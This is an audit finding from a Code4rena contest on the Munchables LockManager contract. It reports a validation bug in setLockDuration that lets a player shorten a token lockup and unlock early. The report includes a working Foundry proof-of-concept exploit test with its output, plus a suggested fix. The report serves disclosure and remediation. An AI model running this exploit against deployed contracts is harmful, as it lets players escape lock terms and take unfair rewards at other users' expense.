Reduction of Lockup End Time in `setLockDuration`

[c4-bot-7]

Lines of code

https://github.com/code-423n4/2024-05-munchables/blob/57dff486c3cd905f21b330c2157fe23da2a4807d/src/managers/LockManager.sol#L255-L261

Vulnerability details

The setLockDuration function in the LockManager contract has a vulnerability that allows users to reduce their lockup times. The issue arises because the contract checks if the new lock duration, added to the current timestamp, is less than the current unlock time. This allows users to repeatedly lock tokens with shorter durations to effectively reduce the lockup period.

src/managers/LockManager.sol:
  245:     function setLockDuration(uint256 _duration) external notPaused {
  ....
  255:                 // check they are not setting lock time before current unlocktime
@>256:                 if (
  257:                     uint32(block.timestamp) + uint32(_duration) <
  258:                     lockedTokens[msg.sender][tokenContract].unlockTime
  259:                 ) {
  260:                     revert LockDurationReducedError();
  261:                 }
  262: 
  263:                 uint32 lastLockTime = lockedTokens[msg.sender][tokenContract]
  264:                     .lastLockTime;
@>265:                 lockedTokens[msg.sender][tokenContract].unlockTime =
  266:                     lastLockTime +
  267:                     uint32(_duration);
  268:             }
  269:         }
  270: 
  271:         emit LockDuration(msg.sender, _duration);
  272:     }
  273  

Impact

Players can reduce their lockup times, violating the intended lockup period rules. This can lead to players being able to unlock their tokens earlier than intended, undermining the protocol’s integrity and potentially leading to financial losses or unfair advantages:

• Players could game the system to maximize Schnibbles allocation without adhering to intended lockup periods.
• Potentially exploits the system to get bonuses without committing to intended lock durations.
• Some players could gain an unfair advantage by having more flexibility with their locked funds.
• Players could exploit the system financially by maximizing MUNCH points accumulation without the intended financial commitment.
• Could lead to an imbalance in the initial setup of future spin-off games.

Proof of Concept

Test Case (Foundry)

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.25;

import {Test} from "forge-std/Test.sol";
import {console} from "forge-std/console.sol";
import "./MunchablesTest.sol";

// This PoC demonstrates two players, Alice and Bob,
// where Bob (the attacker) takes advantage of this vulnerability
// to allocate more Schnibbles than Alice (honest player).
// Both Alice and Bob have locked the same funds amount for the same duration eventually.
contract LockManagerPoC is MunchablesTest {
    address alice;
    address bob;

    function testLockupEndTimeReduction() public {
        uint256 lockAmount = 10e18;

        console.log("Beginning run()");
        deployContracts();
        setUpTest(lockAmount);

        // Alice set lock duration to 45 days.
        vm.prank(alice);
        lm.setLockDuration(45 days);
        // Bob set lock duration to 90 days.
        vm.prank(bob);
        lm.setLockDuration(90 days);

        // Lock tokens.
        vm.prank(alice);
        lm.lock{value: lockAmount}(address(0), lockAmount);
        vm.prank(bob);
        lm.lock{value: lockAmount}(address(0), lockAmount);
        logStep("Timing After Players Lock: ");

        uint32 unlockTimeBefore = getEthUnlockTime(alice);

        // Impact: Bob here could game the system,
        // by taking advantage of an unlock time that would be reduced.
        // This would affects `harvest()` since it uses the bonus when `getHarvestBonus`,
        // where bonus is calculated using the current player lock duration.
        (, uint256 bonusBefore) = amp.getDailySchnibbles(
            alice
        );

        // warp by 45 days.
        uint256 unlockTime = block.timestamp + 45 days;
        vm.warp(unlockTime);
        logStep("After Warping (+45 days):");

        // Attack: After finishing the half of lock period,
        // Bob can reduce by half of the period and unlock immediately!
        uint256 newDuration = 45 days;
        vm.prank(bob);
        lm.setLockDuration(newDuration);
        logStep(
            "After Bob Reduces Lock Duration (from 90 days to 45 days):"
        );
        uint32 unlockTimeAfter = getEthUnlockTime(alice);
        (, uint256 bonusAfter) = amp.getDailySchnibbles(
            alice
        );

        // This is the check from impl that assumed to prevent this from happning:
        assertFalse(
            uint32(block.timestamp) + newDuration < unlockTimeBefore
        );

        // PoC: Check that the unlock time is reduced.
        assertLe(unlockTimeAfter, unlockTimeBefore);
        // PoC: Check that the bouns has changed.
        assertLe(bonusAfter, bonusBefore);

        // Impact: Bob can unlock now
        vm.prank(bob);
        lm.unlock(address(0), lockAmount);
    }

    function setUpTest(uint256 lockAmount) internal {
        // Make address and mint funds.
        alice = makeAddr("Alice");
        bob = makeAddr("Bob");
        vm.deal(alice, lockAmount);
        vm.deal(bob, lockAmount);

        // Player registration for Alice and Bob.
        vm.prank(alice);
        amp.register(MunchablesCommonLib.Realm(3), address(0));
        vm.prank(bob);
        amp.register(MunchablesCommonLib.Realm(3), address(0));
        console.log("");
        console.log("\u250F----------------------------\u2513");
        console.log("\u2503         TEST LOGS          \u2503");
        console.log("\u2517----------------------------\u251B");

    }

    function getEthUnlockTime(address player) internal view returns(uint32){
        ILockManager.LockedTokenWithMetadata[] memory lockedTokens = lm
            .getLocked(player);
        for (uint i; i < lockedTokens.length; i++) {
            if (lockedTokens[i].tokenContract == address(0)) {
                return lockedTokens[i].lockedToken.unlockTime;
            }
        }
        return 0;
    }

    function logStep(string memory _msg) internal view {

        console.log(" -", _msg);
        console.log("   Current Day: ", block.timestamp / 1 days);

        console.log("   Alice:-");
        logTestPlayer(alice);

        console.log("   Bob (Attacker):-");
        logTestPlayer(bob);

        console.log("------------------------------");
    }

    function logTestPlayer(address player) internal view {
        ILockManager.LockedTokenWithMetadata[] memory lockedTokens = lm
            .getLocked(player);
        (, uint256  bonus) = amp.getDailySchnibbles(player);

        console.log(
            "       Lock Duration (Days):",
            lm.getPlayerSettings(player).lockDuration / 1 days
        );
        // console.log("       Daily Schnibbles: ", dailySchnibbles);
        console.log("       Daily Schnibbles bonus: ", bonus);
        console.log("       - Locked Tokens:-");
        for (uint i; i < lockedTokens.length; i++) {
            if (lockedTokens[i].tokenContract == address(0)) {
                console.log(
                    "           Quantity:",
                    lockedTokens[i].lockedToken.quantity
                );
                console.log(
                    "           Last Lock Time:",
                    lockedTokens[i].lockedToken.lastLockTime
                );
                console.log(
                    "           Unlock Time:",
                    lockedTokens[i].lockedToken.unlockTime
                );

            }
        }
    }
}

Test output

2024-05-munchables main* 9s
❯ forge test --match-path src/test/LockManagerPoC.t.sol -vv
[⠊] Compiling...
No files changed, compilation skipped

Ran 1 test for src/test/LockManagerPoC.t.sol:LockManagerPoC
[PASS] testLockupEndTimeReduction() (gas: 63901805)
Logs:
  Beginning run()
..SNIP..

  ┏----------------------------┓
  ┃         TEST LOGS          ┃
  ┗----------------------------┛
   - Timing After Players Lock:
     Current Day:  0
     Alice:-
         Lock Duration (Days): 45
         Daily Schnibbles bonus:  75000000000000000
         - Locked Tokens:-
             Quantity: 10000000000000000000
             Last Lock Time: 1
             Unlock Time: 3888001
     Bob (Attacker):-
         Lock Duration (Days): 90
         Daily Schnibbles bonus:  300000000000000000
         - Locked Tokens:-
             Quantity: 10000000000000000000
             Last Lock Time: 1
             Unlock Time: 7776001
  ------------------------------
   - After Warping (+45 days):
     Current Day:  45
     Alice:-
         Lock Duration (Days): 45
         Daily Schnibbles bonus:  75000000000000000
         - Locked Tokens:-
             Quantity: 10000000000000000000
             Last Lock Time: 1
             Unlock Time: 3888001
     Bob (Attacker):-
         Lock Duration (Days): 90
         Daily Schnibbles bonus:  300000000000000000
         - Locked Tokens:-
             Quantity: 10000000000000000000
             Last Lock Time: 1
             Unlock Time: 7776001
  ------------------------------
   - After Bob Reduces Lock Duration (from 90 days to 45 days):
     Current Day:  45
     Alice:-
         Lock Duration (Days): 45
         Daily Schnibbles bonus:  75000000000000000
         - Locked Tokens:-
             Quantity: 10000000000000000000
             Last Lock Time: 1
             Unlock Time: 3888001
     Bob (Attacker):-
         Lock Duration (Days): 45
         Daily Schnibbles bonus:  75000000000000000
         - Locked Tokens:-
             Quantity: 10000000000000000000
             Last Lock Time: 1
             Unlock Time: 3888001
  ------------------------------

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 29.20ms (21.33ms CPU time)

Ran 1 test suite in 169.13ms (29.20ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Tools Used

• Foundry

Recommended Mitigation Steps

To mitigate this issue, the contract should use the last lock time instead of the current timestamp to calculate the new unlock time when checking.

// check they are not setting lock time before current unlocktime
uint32 lastLockTime = lockedTokens[msg.sender][tokenContract].lastLockTime;
if (
    lastLockTime + uint32(_duration) <
    lockedTokens[msg.sender][tokenContract].unlockTime
) {
    revert LockDurationReducedError();
}

// Update unlock time based on last lock time and new duration
lockedTokens[msg.sender][tokenContract].unlockTime = lastLockTime + uint32(_duration);

Assessed type

Invalid Validation

[c4-judge]

alex-ppg marked the issue as duplicate of #89

[c4-judge]

alex-ppg marked the issue as satisfactory